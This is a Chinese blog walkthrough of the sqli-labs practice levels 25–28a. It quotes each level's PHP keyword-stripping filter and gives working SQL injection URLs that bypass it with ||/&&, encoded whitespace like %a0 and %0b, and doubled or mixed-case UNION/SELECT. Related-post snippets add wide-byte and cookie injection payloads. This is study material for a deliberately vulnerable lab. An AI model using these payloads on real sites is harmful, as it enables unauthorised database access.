Sqli-labs Less25-28 绕过过滤函数对字符的过滤 - GET

最新推荐文章于 2024-10-13 16:10:12 发布
最新推荐文章于 2024-10-13 16:10:12 发布
阅读量592 收藏 1
点赞数
CC 4.0 BY-SA版权
分类专栏： web安全
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.youkuaiyun.com/Kevinhanser/article/details/81563440
本文详细介绍了一系列SQL注入挑战的解决方法，包括绕过多种过滤手段、使用特殊字符编码及构造复杂查询语句等技术要点。

摘要生成于 C知道 ，由 DeepSeek-R1 满血版支持， 前往体验 >

本文记录 SQL 注入的学习过程，资料为 SQLi

SQLi 博客目录

Less - 25: GET - Error based - All your OR & AND belong to us - String Single Quote

  1. 源代码

    $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
function blacklist($id)
{
        $id= preg_replace('/or/i',"", $id);                     //strip out OR (non case sensitive)
        $id= preg_replace('/AND/i',"", $id);            //Strip out AND (non case sensitive)

        return $id;
}

  2. 思路

    本关主要为 or and 过滤，如何绕过 or 和 and 过滤。

    1. 大小写变形 Or,OR,oR
    2. 编码，hex，urlencode
    3. 添加注释 /*or*/
    4. 利用符号 and=&& or=||

  3. 报错注入 or 示例

    http://10.10.10.137/sqli-labs/Less-25/?id=1'|| extractvalue(1,concat(0x7e,database()))--+

  4. 基于报错的 and 示例

    http://10.10.10.137/sqli-labs/Less-25/?id=1&&1=1--+

Less - 25a: GET - Blind Based - ALL your OR & AND belong to us - Intiger based

  1. 源代码

    $sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
function blacklist($id)
{
        $id= preg_replace('/or/i',"", $id);                     //strip out OR (non case sensitive)
        $id= preg_replace('/AND/i',"", $id);            //Strip out AND (non case sensitive)

        return $id;
}

  2. 思路

    不同于 25 关的是 sql 语句中对于 id，没有”的包含，同时没有输出错误项，报错注入不能用。
    其余基本上和 25 示例没有差别。此处采取两种方式：延时注入和联合注入。

  3. 测试

    http://10.10.10.137/sqli-labs/Less-25a/?id=-1 UNION select 1,@@basedir,3#

    此处我们依旧用 || &&来代替 and，or。

Less - 26: GET - Error based - All your SPACES and COMMENTS belong to us

  1. 简介

    本关结合 25 关，将空格，or，and,/*,#,–,/等各种符号过滤，此处对于 and，or 的处理方法不再赘述，参考 25.

  2. 替换

    1. 对于注释和结尾字符的我们此处只能利用构造一个’ 来闭合后面到’

    2. 对于空格，有较多的方法：

      %09 TAB 键（水平）
%0a 新建一行
%0c 新的一页
%0d return 功能
%0b TAB 键（垂直）
%a0 空格

  3. 测试

    URL 输入 ?id=1’%0b||’1

    http://10.10.10.137/sqli-labs/Less-26/?id=1'%0b||'1

    源代码

    $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

function blacklist($id)
{
        $id= preg_replace('/or/i',"", $id);             //strip out OR (non case sensitive)
        $id= preg_replace('/and/i',"", $id);            //Strip out AND (non case sensitive)
        $id= preg_replace('/[\/\*]/',"", $id);          //strip out /*
        $id= preg_replace('/[--]/',"", $id);            //Strip out --
        $id= preg_replace('/[#]/',"", $id);             //Strip out #
        $id= preg_replace('/[\s]/',"", $id);            //Strip out spaces
        $id= preg_replace('/[\/\\\\]/',"", $id);        //Strip out slashes
        return $id;
}

    构造后的语句

    $sql="SELECT * FROM users WHERE id='1' || '1' LIMIT 0,1";

    第一个’ 首先闭合id=’$id’ 中的’，%a0 是空格的意思, 同时%0b 也是可以通过测试的，其他的经测试是不行的。||是或者的意思，’1 则是为了闭合后面的’ 。

    构造测试语句

    http://127.0.0.1/sqllib/Less-26/?id=100%27union%0bselect%a01,2,3||%271

    也可以利用报错注入和延时注入等方式进行注入。

Less - 26a: GET - Blind Based - All your SPACES and COMMENTS belong to us - String - Single Quotes - Parenthesis

  1. 简介

    这关与 26 的区别在于，sql 语句添加了一个括号，同时在 sql 语句执行抛出错误后并不在前台页面输出。所有我们排除报错注入，这里依旧是利用 union 注入。

  2. 源代码

    $sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
function blacklist($id)
{
        $id= preg_replace('/or/i',"", $id);                     //strip out OR (non case sensitive)
        $id= preg_replace('/and/i',"", $id);            //Strip out AND (non case sensitive)
        $id= preg_replace('/[\/\*]/',"", $id);          //strip out /*
        $id= preg_replace('/[--]/',"", $id);            //Strip out --
        $id= preg_replace('/[#]/',"", $id);                     //Strip out #
        $id= preg_replace('/[\s]/',"", $id);            //Strip out spaces
        $id= preg_replace('/[\s]/',"", $id);            //Strip out spaces
        $id= preg_replace('/[\/\\\\]/',"", $id);                //Strip out slashes
        return $id;
}

  3. 测试

    联合查询

    http://10.10.10.137/sqli-labs/Less-26a/?id=100') union%a0select%a01,2,3||('1

    explain：基础与 26 一致，我们直接用’) 闭合前面的，然后跟上自己构造的注入语句即可。最后利用（’1 进行闭合即可。

    http://10.10.10.137/sqli-labs/Less-26a/?id=100')union%a0select%a01,user(),('3

    可将user()更换为你想要的sql 语句。同时该例可以利用延时注入。前面已经有介绍了，自行构造即可。

Less - 27: GET - Error Based- All your UNION & SELECT belong to us - String - Single Quote

  1. 思路

    本关主要考察将 union，select 和 26 关过滤掉的字符。此处我们依旧和 26 关的方式是一样的，只需要将 union 和 select 改为大小写混合就可以突破

  2. 源代码

    $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
function blacklist($id)
{
$id= preg_replace('/[\/\*]/',"", $id);          //strip out /*
$id= preg_replace('/[--]/',"", $id);            //Strip out --.
$id= preg_replace('/[#]/',"", $id);                     //Strip out #.
$id= preg_replace('/[ +]/',"", $id);        //Strip out spaces.
$id= preg_replace('/select/m',"", $id);     //Strip out spaces.
$id= preg_replace('/[ +]/',"", $id);        //Strip out spaces.
$id= preg_replace('/union/s',"", $id);      //Strip out union
$id= preg_replace('/select/s',"", $id);     //Strip out select
$id= preg_replace('/UNION/s',"", $id);      //Strip out UNION
$id= preg_replace('/SELECT/s',"", $id);     //Strip out SELECT
$id= preg_replace('/Union/s',"", $id);      //Strip out Union
$id= preg_replace('/Select/s',"", $id);     //Strip out select
return $id;
}

  3. 测试

    http://10.10.10.137/sqli-labs/Less-27/?id=100'unIon%a0SelEcT%a01,database(),3||'1

    TIPS：uniunionon 也是可以突破限制的。亦可以利用报错注入和延时注入的语法进行注入。

    http://10.10.10.137/sqli-labs/Less-27/?id=100%27ununionion%a0SelEcT%a01,database(),3||%271

Less - 27a: GET - Blind Based- All your UNION & SELECT belong to us - Double Quotes

  1. 思路

    本关与 27 关的区别在于对于 id 的处理，这里用的是” ，同时 mysql 的错误不会在前端页面显示。

  2. 源代码

    $id = '"' .$id. '"';
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
function blacklist($id)
{
$id= preg_replace('/[\/\*]/',"", $id);          //strip out /*
$id= preg_replace('/[--]/',"", $id);            //Strip out --.
$id= preg_replace('/[#]/',"", $id);                     //Strip out #.
$id= preg_replace('/[ +]/',"", $id);        //Strip out spaces.
$id= preg_replace('/select/m',"", $id);     //Strip out spaces.
$id= preg_replace('/[ +]/',"", $id);        //Strip out spaces.
$id= preg_replace('/union/s',"", $id);      //Strip out union
$id= preg_replace('/select/s',"", $id);     //Strip out select
$id= preg_replace('/UNION/s',"", $id);      //Strip out UNION
$id= preg_replace('/SELECT/s',"", $id);     //Strip out SELECT
$id= preg_replace('/Union/s',"", $id);      //Strip out Union
$id= preg_replace('/Select/s',"", $id);     //Strip out Select
return $id;
}

  3. 测试

    http://10.10.10.137/sqli-labs/Less-27a/?id=100"%a0UnIon%a0SElecT%a01,user(),"3

    TIPs:这里说下以上 payload 我们利用最后的3 前面的” 将后面的” 给闭合掉。或者亦可以利用以前的方法1,user(),3 || “1，同时本关可以用延时注入的方法进行注入。

Less - 28: GET - Error Based- All your UNION & SELECT belong to us String-Single quote with parenthesis

  1. 源代码

    $sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
function blacklist($id)
{
$id= preg_replace('/[\/\*]/',"", $id);                          //strip out /*
$id= preg_replace('/[--]/',"", $id);                            //Strip out --.
$id= preg_replace('/[#]/',"", $id);                                     //Strip out #.
$id= preg_replace('/[ +]/',"", $id);                    //Strip out spaces.
//$id= preg_replace('/select/m',"", $id);                               //Strip out spaces.
$id= preg_replace('/[ +]/',"", $id);                    //Strip out spaces.
$id= preg_replace('/union\s+select/i',"", $id);     //Strip out UNION & SELECT.
return $id;
}

  2. 测试

    http://10.10.10.137/sqli-labs/Less-28/?id=100')union%a0select(1),(user()),(3)||('1

Less - 28a: GET - Blind Based- All your UNION & SELECT belong to us String-Single quote with parenthesis

  1. 源代码

    $sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
function blacklist($id)
{
//$id= preg_replace('/[\/\*]/',"", $id);                                //strip out /*
//$id= preg_replace('/[--]/',"", $id);                          //Strip out --.
//$id= preg_replace('/[#]/',"", $id);                                   //Strip out #.
//$id= preg_replace('/[ +]/',"", $id);                  //Strip out spaces.
//$id= preg_replace('/select/m',"", $id);                               //Strip out spaces.
//$id= preg_replace('/[ +]/',"", $id);                  //Strip out spaces.
$id= preg_replace('/union\s+select/i',"", $id);     //Strip out spaces.
return $id;
}

  2. 思路

    本关与28 基本一致，只是过滤条件少了几个。

  3. 测试

    http://10.10.10.137/sqli-labs/Less-28a/?id=100%27)unIon%0bsElect%0b1,@@basedir,3||(%271


    http://10.10.10.137/sqli-labs/Less-28a/?id=100%27)unIon%0bsElect%0b1,user(),3||(%273

2021-09-01 网安实验-SQL注入-绕过函数过滤
时光隧道
09-01 4万+
一：绕过给危险字符加反斜杠的过滤 解析：本代码有三个过滤，第一个是过滤将反斜线替换为双反斜线。第二个和第三个分别是将单引号和双引号转义，即在引号前面添加反斜线。有没有注意本数据库是gbk的，那我们就可以进行『宽字节』注入了。 首先直接注入测试 发现单引号被转义了。我们在URL中插入的单引号之前插入%bf，单引号是%27。反斜线是%5c。『% bf \’』就变成了『 %bf%5c%27 』，相当于再显示就变成了『縗’』，单引号出来了。则最后的SQL语句就变成了『SELECT * FROM users W
绕过函数过滤
ChuMeng1999的博客
10-31 423
之前是对危险字符进行替换，但是有些字符的替换会影响用户的表达，那么就可以用转义的方法对用户的输入符号进行完整保留。本实验有三个部分，第一部分是自定义转义函数，第二三部分都是用标准的addslashed()函数和mysql_real_escape_string()来进行转义。GBK编码，它的编码范围是0×8140~0xFEFE（不包括xx7F），在遇到%df（ascii(223)）>ascii（128）时自动拼接%5c，因此吃掉‘\’，而%27、%20小于ascii（128）的字符就保留了。
sqli-labs第二十三关（注释过滤绕过）
qq_42266432的博客
09-02 637
从源码可知此关将注释符全部过滤掉，需要绕过，使用and ‘1’='1即可 http://localhost:90/sqli-labs-master/Less-23/?id=-1' union select 111,(select group_concat(schema_name)from information_schema.schemata),3 or '1'='1 这关没什么可说的直接爆库名，接下来爆表，字段啥的就不再演示，此关结束 ...
xss绕过字符过滤_XSS过滤器绕过总结
weixin_39610353的博客
12-21 1329
XSS过滤器绕过总结黑名单过滤器绕过黑名单模式下的过滤器是最常见的。他们的目标是检测特定模式并防止恶意行为。这完全是“模式”的问题，它们越准确，就越可以拦截攻击。1. 注入脚本代码主要是标签，可用于执行客户端脚本代码，例如JavaScript。 它是为此目的而设计的，当然，这是大多数过滤器阻止的第一个首选。1.1 绕过弱标签过滤简单的过滤器无法涵盖所有可能的情况，所以可以绕开它们。 以下示例仅是对...
sqlilabs less-28~less-28a
TA不懒，但还没有添加简介
07-22 885
sqlilabs less-28~less-8a
Sqli-labs Less32-Less33 宽字节注入
beiweixiaotian66的博客
07-25 904
一丢丢Sqli-labs小练习
sqli-labs学习笔记（六）less 17 绕过过滤
闵行小鱼塘
09-10 794
继续学习sqli-labs，本篇是less17
sqli-labs 靶场 less-8、9、10 第八关到第十关详解：布尔注入，时间注入
Superstacks超全栈
06-09 1317
S接下来的工作就是之前使用的布尔注入流程一样，通过一个个字的判断来确定是否为想要的字符。如此便可以采用和上面类似的盲注入代码来进行。执行结果，成功完成注入（有一说一，代码请求量一多这脚本运行时间真的长！但是你会发现，在获取用户密码的时候会有很多空字符，这里是什么原因呢？输入注入代码，通过测试可知是使用双引号来进行闭合的查询语句。在这里我们无法看到错误信息，也不知道信息能否正常获取到。我们先尝试用语句来判断是否获取正常。的方式来进行，当输入下列参数时可以看到页面需要。通过以上信息来看可以确定，这一关可以用。
sqli-labs less-19 less-20 less-22
weixin_74182283的博客
04-02 1213
由于上述所说的cookie原理，一开始是不会有cookie信息的，但登录后，就会自动出现一则cookie信息。' and (updatexml(1,concat(0x7e,(select user()),0x7e),1)) or '1'='1 通过报错注入的函数，对其进行攻击，成功得到数据库信息。' and (updatexml(1,concat(0x7e,(select user()),0x7e),1)) or '1'='1 通过报错注入的函数，对其进行攻击，成功得到数据库信息。
SQL注入——sqli-labs（Less-1）
E-Malon的博客
05-29 451
一边查看源码，一边多方学习别人的 WriteUp，在此过程中补充基础知识，最终落到实验操作。慢慢来，比较快。欢迎大咖指导，欢迎各位网友交流经验。
Sqli-labs之Less-28和Less-28a
m0_46315342的博客
06-04 745
                                          &nbs...
sqli-labs less-25 and/or绕过
wanggonghanfei的博客
10-13 1308
sqli-labs less-25 and/or绕过
Less-25(绕过or或and--盲注)
老司机开代码的博客
08-04 593
文章目录1. 题目分析2. 注入思路2.1 盲注2.2 联合注入3. SQLmap注入 1. 题目分析 根据less24的经验以及通过?id=1 aandnd 1=2 --+和?id=1 aandnd 1=1 --+可以判断出id的类型为int；并且可以使用盲注或联合查询两种方法解决的题目。 一下主要回顾盲注的解题思路： False页面： True页面： 之前学习过盲注，我们知道盲注主要分为布尔盲注和时间盲注，同时再回忆一下要使用的函数： length() ：判断字长 substr(): 从字符串中取
SQLi LABS Less 25 联合注入+报错注入+布尔盲注
热门推荐
wangyuxiang946的博客
06-28 1万+
SQLi 第二十五关，SQLi-LABS Less-25，SQLi-LABS Less 25，SQLiLABS Less25，SQLi Less 25
二次注入(less-24,25)
2201_75432117的博客
08-11 671
在我们修改用户admin'#的密码时，实际执行的语句为下列语句，所以我们才能修改用户admin的密码。通过报错，我们可以大概看出是一个单引号字符型注入。密码自定，我是111。
SQL注入之联合注入
Jim的博客
08-13 991
过滤注释的绕过 对于#，get要url编码成%23，post提交就不用了。 GET：?id=1'%23 源码：$id = preg_replace("/#/", "", $id); --单行注释，--后加空格或其他字符才有效。 GET：?id=1'--%20 $id = preg_replace("/--/ "", $id);
[渗透]sqli-libs less-1-65
胖胖的ALEX
08-05 368
Lesson-1 GET - Error based - Single quotes - String(基于错误的单引号注入) ?id=1’ ?id=1’%23 Lesson-2 GET - Error based - Intiger based(基于错误的GET整型注入) ?id=1 and 1=1 ?id=1 and 1=2 Lesson-3 GET - Error based - Singl...
绕过mysql转义字符_SQL注入：各种绕过检测的姿势
weixin_29466045的博客
01-19 2808
这一篇主要总结一下sqlilabs中advanced injection中的用到的各种绕过，也就是less21-less38。目录1)数据编码2)特殊字符、语法关键字过滤3)存储型注入4)特殊字符转义与宽字节注入5)防火墙保护与http参数污染数据编码这个是最简单的，就是在普通注入的基础上用响应的编码方式编码一下payload即可，比如sqlilabs上这两个靶站都是用的base64编码。特殊字符...
sqli-labs less20
最新发布
02-22
### sqli-labs less20 实验教程 #### 了解目标环境 sqli-labs 是一个用于学习和实践 SQL 注入技术的平台。Less-20 关卡专注于通过 `Cookie` 进行 SQL 注入攻击[^3]。 #### 准备工作 确保已经安装并配置好 PHP 和 MySQL 环境，并且成功部署了 sqli-labs 平台。访问 Less-20 页面，观察其 URL 结构以及如何处理请求参数。 #### 测试注入点 尝试修改浏览器发送给服务器的 HTTP 请求头中的 `Cookie` 字段来测试是否存在漏洞。具体来说，在原始 `Cookie` 值后面附加恶意负载以探测数据库结构或提取敏感数据。 例如，可以通过篡改 `uname` 的值来进行联合查询（UNION SELECT），从而获取当前使用的数据库名称： ```http GET /sqli/Less-20/ HTTP/1.1 Host: localhost ... Cookie: uname=admin' UNION ALL SELECT NULL,database(),NULL-- ``` 上述 Payload 利用了闭合单引号 `'` 来结束预期输入，并紧接着执行新的 SQL 片段；两个连续破折线 `--` 表示注释掉后续部分以防报错中断整个语句。 #### 提升技巧：绕过简单防护措施 当面对某些基本防御机制时——比如自动转义特殊字符函数如 mysql_real_escape_string() ，可以考虑采用宽字节编码等方式构造有效载荷实现突破[^2]。 对于本关而言，则是利用 Base64 编码后的字符串作为用户名传递给应用程序，以此规避潜在过滤规则的影响。实际操作过程中需注意调整编码方式匹配后台解析逻辑。 #### 获取更多细节信息 一旦确认存在可被利用之处后，便能进一步挖掘其他有用情报，像枚举出 users 表内的字段名列表那样： ```sql Cookie: uname=<base64_encoded_payload> ``` 其中 `<base64_encoded_payload>` 应替换为经过适当转换得到的结果，形似如下所示： ```plaintext admin') union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name='users'# ``` 这会返回 user 表中所有的列名作为一个单一字符串输出到页面上供分析人员查看。
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值